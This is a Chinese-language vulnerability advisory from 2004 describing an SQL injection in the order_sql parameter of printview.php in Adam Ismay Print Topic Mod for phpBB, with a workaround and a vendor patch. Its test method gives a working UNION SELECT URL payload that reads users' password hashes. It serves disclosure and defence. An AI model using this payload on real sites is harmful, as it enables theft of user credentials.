发布日期：2004-07-19
更新日期：2004-07-23

受影响系统：

Adam Ismay Print Topic Mod 1.0

描述：

---

BUGTRAQ  ID: 10757

Adam Ismay Print Topic Mod是打印标题模块，可适合于phpBB等系统。

Adam Ismay Print Topic Mod printview.php脚本不正确处理用户提交的恶意输入，远程攻击者可以利用这个漏洞获得敏感信息或更改系统数据库。

Topic Mod printview.php脚本对用户提交给'order_sql'参数的数据缺少充分过滤，提交包含恶意数据可能更改原有数据库逻辑，修改数据库或获得敏感信息。

<*来源：Bartek Nowotarski （silence10@wp.pl）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Bartek Nowotarski （silence10@wp.pl）提供了如下测试方法：

http://www.example.com/printview.php?t={existing_topic's_id}&order_sql=UNION%20SELECT%201%20,%20user_password%20,%201,%201,%201,%201,%201,%201,%201,%201,%201,%201%20FROM%20{phpbb_users_table}%20WHERE%20user_id%20={some_user's_id}%20ORDER%20BY%20t.topic_id%20ASC

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 在php.ini中设置register_globals为Off。

厂商补丁：

Adam Ismay
----------
修改程序的67和68行：

67| AND f.forum_id = t.forum_id
68| $order_sql";

改成：

67| AND f.forum_id = t.forum_id";
68|

浏览次数：2913
严重程度：0（网友投票）